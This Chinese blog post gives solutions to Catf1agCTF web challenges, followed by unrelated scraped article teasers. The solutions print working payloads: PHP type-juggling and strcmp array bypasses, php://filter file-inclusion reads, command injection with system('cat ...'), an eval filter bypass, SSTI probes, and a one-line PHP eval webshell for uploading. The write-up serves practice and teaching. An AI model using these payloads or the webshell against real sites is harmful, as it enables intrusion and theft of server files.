Catf1agCTF-Web通关合集

本文相关的ctf平台链接:Catf1agCTF - 综合训练平台

WEB签到

查看源代码

flag倒叙了,可以使用下面这个

文本字符串倒序在线工具(ESJSON在线工具)

flag: 

catf1ag{welcome_to_catf1agctf_!!!_gogogo_!!!}

flag在哪呢? 

 

查看源代码

 

intval

源代码:

 <?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
include('flag.php');
show_source('./index.php');
$num = $_GET['num'];
$num2 = intval($num);
if(isset($num) && $num != '123'){if($num == 123){echo $flag;}else{echo 'flag{this_flag_is_False}';}
}else{echo '你输入点东西行不行...';
}?> 

 这题get传参

因为字符串和数字比较,字符串会被转换成数字。

所以绕过123加个a即可

payload:

?num=123a

easy_unser_1

源代码:

<?php
//error_reporting(0);show_source('./index.php');
class flag_in_there{public $name;public $age;public function __construct($name,$age){$this->name = $name;$this->age = $age;}public function get_flag(){echo "hello,i'm '$this->name',now '$this->age' years";}
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag);
$un = $_GET['str'];if($ser == $un){include('flag.php');echo $flag;
}else{echo "你真棒~";
}
?> 

 这题是道比较基础反序列化,可能也说不上吧

解题思路就是传个跟flag反序列化后一样的字符串即可

这里可以直接把前面的复制下来

payload:

<?php
class flag_in_there{public $name;public $age;public function __construct($name,$age){$this->name = $name;$this->age = $age;}public function get_flag(){echo "hello,i'm '$this->name',now '$this->age' years";}
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag); 
echo $ser;
?>
?str=O:13:"flag_in_there":2:{s:4:"name";s:5:"vfree";s:3:"age";s:2:"19";}

rce_me_1

题目提示了是rce

我们就直接命令执行吧

?cmd=ls

 找到文件位置

现在我们查看

?cmd=cat get_flag_in_there_!!!!!!!!!!!!!!!!!!!

json

源代码:

<?php
show_source('index.php');
include('flag.php');
$key = $_GET['key'];
$decode = json_decode($key);
if($decode->flag == $flag){echo $flag;
}else{echo "<h3>404 not found</h4>";
}?> 

 首先我们介绍一下什莫是json:JSON概念很简单,JSON 是一种轻量级的数据格式,他基于 javascript 语法的子集,即数组和对象表示。由于使用的是 javascript 语法,因此JSON 定义可以包含在javascript 文件中,对其的访问无需通过基于 XML 的语言来额外解析。

输入一个数组进行json解码,如果解码后的key与flag值相同,会得到flag,主要思想还是弱类型进行绕过,我们不知道flag值是什莫,但是我们知道一件事就是它肯定是字符串,这样就可以了,上文讲过,两个等号时会转化成同一类型再进行比较,直接构造一个0就可以相等了。最终payload:

?key={"flag":0}

GET&POST

?flag=cat

 

flag=f1ag

robots

这里简单介绍一下robots.txt

robots.txt文件:

User-agent: *

Disallow: /admin/ 后台管理文件

Disallow: /require/ 程序文件

Disallow: /attachment/ 附件

Disallow: /images/ 图片

Disallow: /data/ 数据库文件

Disallow: /template/ 模板文件

Disallow: /css/ 样式表文件

Disallow: /lang/ 编码文件

Disallow: /script/ 脚本文件

robots.txt文件里还可以直接包括在sitemap文件的链接。就像这样:

Sitemap: http://www.***.com/sitemap.xml

robots.txt语法教程

用几个最常见的情况,直接举例说明:

  1. 允许所有SE收录本站:robots.txt为空就可以,什么都不要写。

  2. 禁止所有SE收录网站的某些目录:

User-agent: *

Disallow: /目录名1/

Disallow: /目录名2/

Disallow: /目录名3/

  1. 禁止某个SE收录本站,例如禁止百度:

User-agent: Baiduspider

Disallow: /

  1. 禁止所有SE收录本站:

User-agent: *

Disallow: /

访问/f1ag_is_in_there!!!

会下载一个文件,打开即可获得flag

 

easy_include_1

我们看一下源代码 

这里告诉我们flag在/get_flag

payload:

?file=php://filter/read=convert.base64-encode/resource=/get_flag

 

将红框内的字符串base64解码即可得到flag

strcmp

源代码:

<?php
error_reporting(0);
include('flag.php');
show_source("index.php");
$str = $_GET['str'];
$init_str = "get_flag";
if($str!=$init_str){if(strcmp($init_str,$str)==0){echo $flag;}else{echo "no";}
}else{echo "nonono";
}?>

 strcmp()函数在PHP官方手册中的描述是int strcmp ( string str1,string str2 ),需要给strcmp()传递2个string类型的参数。如果str1小于str2,返回-1,相等返回0,否则返回1。strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。

strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。

payload:

?str[]=0

easy_upload_1

文件上传

直接一句话木马

<?php
@eval($_POST('1'));
?>

然后直接蚁剑连接即可

easy_include_2

一打开很抽象

 查看源代码

可惜想简单了,这不是flag

这里提示了file传参

因为是文件包含题

所以我们直接按套路走

?file=php://filter/read=convert.base64-encode/resource=flag.php

这里提示不用加php后缀

?file=php://filter/read=convert.base64-encode/resource=flag

接下来base64解码即可

注意:这里要将catf1ag改为flag才能提交成功

swp

这里提示了swp

linux下vi/vim异常关闭是会存留.swp文件

方法:提示vim异常关闭,访问url/.index.php.swp,得到flag。

访问.index.php.swp会获得一个文件,打开后即可拿到flag

被黑了...

查看源代码

访问webshe11.php

打开是个空白页,猜测是一句话木马

这里有个难点就是要猜hacker为传参

?hacker=system('ls');

接下来就是直接查看flag

?hacker=system('cat hacker_flag.php');

easy_rce_2

源代码:

 <?php 
error_reporting(0);
show_source('index.php');
$cmd = $_GET['cmd'];
$preg = preg_match('/system|exec|shell_exec|`|popen/',$cmd);
if(!$preg){eval($cmd);
}else{echo "非法字符";
}
?> 

这里我们使用拼接绕过

?cmd=eval($_GET[1]);&1=system('ls');

?cmd=eval($_GET[1]);&1=system('cat f1ag_in_there.php');

不等于0

数组绕过秒了

?num[]=0

easy_flask_1

题目有提示/?cmd=

我们先尝试一下

接下来我们猜测可能为ssti

?cmd={{2*2}}

既然知道是ssti

我们直接查询配置信息,看有没有什么发现

?cmd={{config}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/509041.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JUC并发编程 深入学习Java并发编程【上】

JUC并发编程&#xff0c;深入学习Java并发编程&#xff0c;与视频每一P对应&#xff0c;全系列6w字。 P1-5 为什么学特色预备知识 进程线程概念 进程&#xff1a; 一个程序被运行&#xff0c;从磁盘加载这个程序的代码到内存&#xff0c;就开起了一个进程。 进程可以视为程…

3款宝藏原型设计工具,还不快收好

以下基于 Axure、Figma、即时设计 介绍这三种工具的功能特点&#xff0c;大家可以根据自己的需要来选择。 即时设计 - 可实时协作的专业 UI 设计工具即时设计是一款支持在线协作的专业级 UI 设计工具&#xff0c;支持 Sketch、Figma、XD 格式导入&#xff0c;海量优质设计资源…

数字化转型导师坚鹏:金融机构数字化转型情况、政策及法规解读

金融机构数字化转型总体情况、政策及法规解读 课程背景&#xff1a; 很多学员存在以下问题&#xff1a; 不知道金融机构数字化转型总体情况&#xff1f; 不清楚金融机构数字化转型相关政策&#xff1f; 不知道金融机构数字化转型相关法规&#xff1f; 课程特色&#xf…

Javascript如何获取指定网页中的内容?

前言: 这两天有一个需求&#xff0c;即利用JavaScript语言来检索网页的文本内容。当然&#xff0c;实现这一目标的途径并非单一&#xff0c;除了我即将分享的特定技巧之外&#xff0c;还有另一种方法值得一提&#xff1a;通过Ajax的GET请求。然而&#xff0c;相比之下&#xff…

【Redis】RedisTemplate和StringRedisTemplate的区别

两者的关系是 StringRedisTemplate 继承 RedisTemplate 。 两者的数据是不共通的&#xff1a;也就是说 StringRedisTemplate 只能管理 StringRedisTemplate 里面的数据&#xff0c;RedisTemplate 只能管理 RedisTemplate 中的数据。 RedisTemplate 看这个类的名字后缀是 Temp…

Java多线程——wait和notify方法作用,线程的状态

目录 引出wait和notify方法作用线程的状态Redis冲冲冲——缓存三兄弟&#xff1a;缓存击穿、穿透、雪崩缓存击穿缓存穿透缓存雪崩 总结 引出 Java多线程——wait和notify方法作用&#xff0c;线程的状态 wait和notify方法作用 wait、notify 和 notifyAll 通常在多线程间协作、…

业财一体化架构设计与实现总结

随着企业经营环境的日益复杂和多变&#xff0c;业务和财务之间的紧密结合变得愈发重要。在这样的背景下&#xff0c;业务与财务一体化管理成为了企业信息化建设的重要趋势。本文将探讨业务与财务一体化架构的设计与实现&#xff0c;帮助企业更好地整合业务流程&#xff0c;优化…

Redis数据类型--布隆过滤器类型详解及应用

数据结构 Redis无论什么数据类型&#xff0c;存储的时候都是以键值对key-value形势存储&#xff0c;并且所有的key都是String类型&#xff0c;本文讨论的数据类型是value的数据类型。 布隆过滤器 概述&#xff1a;布隆过滤器&#xff08;Bloom Filter&#xff09;是 1970 年…

论文阅读:基于超像素的图卷积语义分割(图结构数据)

#Superpixel-based Graph Convolutional Network for Semantic Segmentation github链接 引言 GNN模型根据节点特征周围的边来训练节点特征&#xff0c;并获得最终的节点嵌入。通过利用具有不同滤波核的二维卷积对来自附近节点的信息进行整合&#xff0c;给定超像素方法生成的…

NLP_文本数据分析(代码示例)

目标 了解文本数据分析的作用.掌握常用的几种文本数据分析方法. 1 文件数据分析介绍 文本数据分析的作用: 文本数据分析能够有效帮助我们理解数据语料, 快速检查出语料可能存在的问题, 并指导之后模型训练过程中一些超参数的选择. 常用的几种文本数据分析方法: 标签数量分布句…

六、继承(一)

1 继承的引入 以往我们想分别实现描述学生、老师的类&#xff0c;可能会这样子做&#xff1a; class Student {string _name;string _number;int _tel;int id;string _address;int _age; }; class Teacher {string _name;int _level;int _tel;int id;string _address;int _ag…

前端面试练习24.3.2-3.3

HTMLCSS部分 一.说一说HTML的语义化 在我看来&#xff0c;它的语义化其实是为了便于机器来看的&#xff0c;当然&#xff0c;程序员在使用语义化标签时也可以使得代码更加易读&#xff0c;对于用户来说&#xff0c;这样有利于构建良好的网页结构&#xff0c;可以在优化用户体…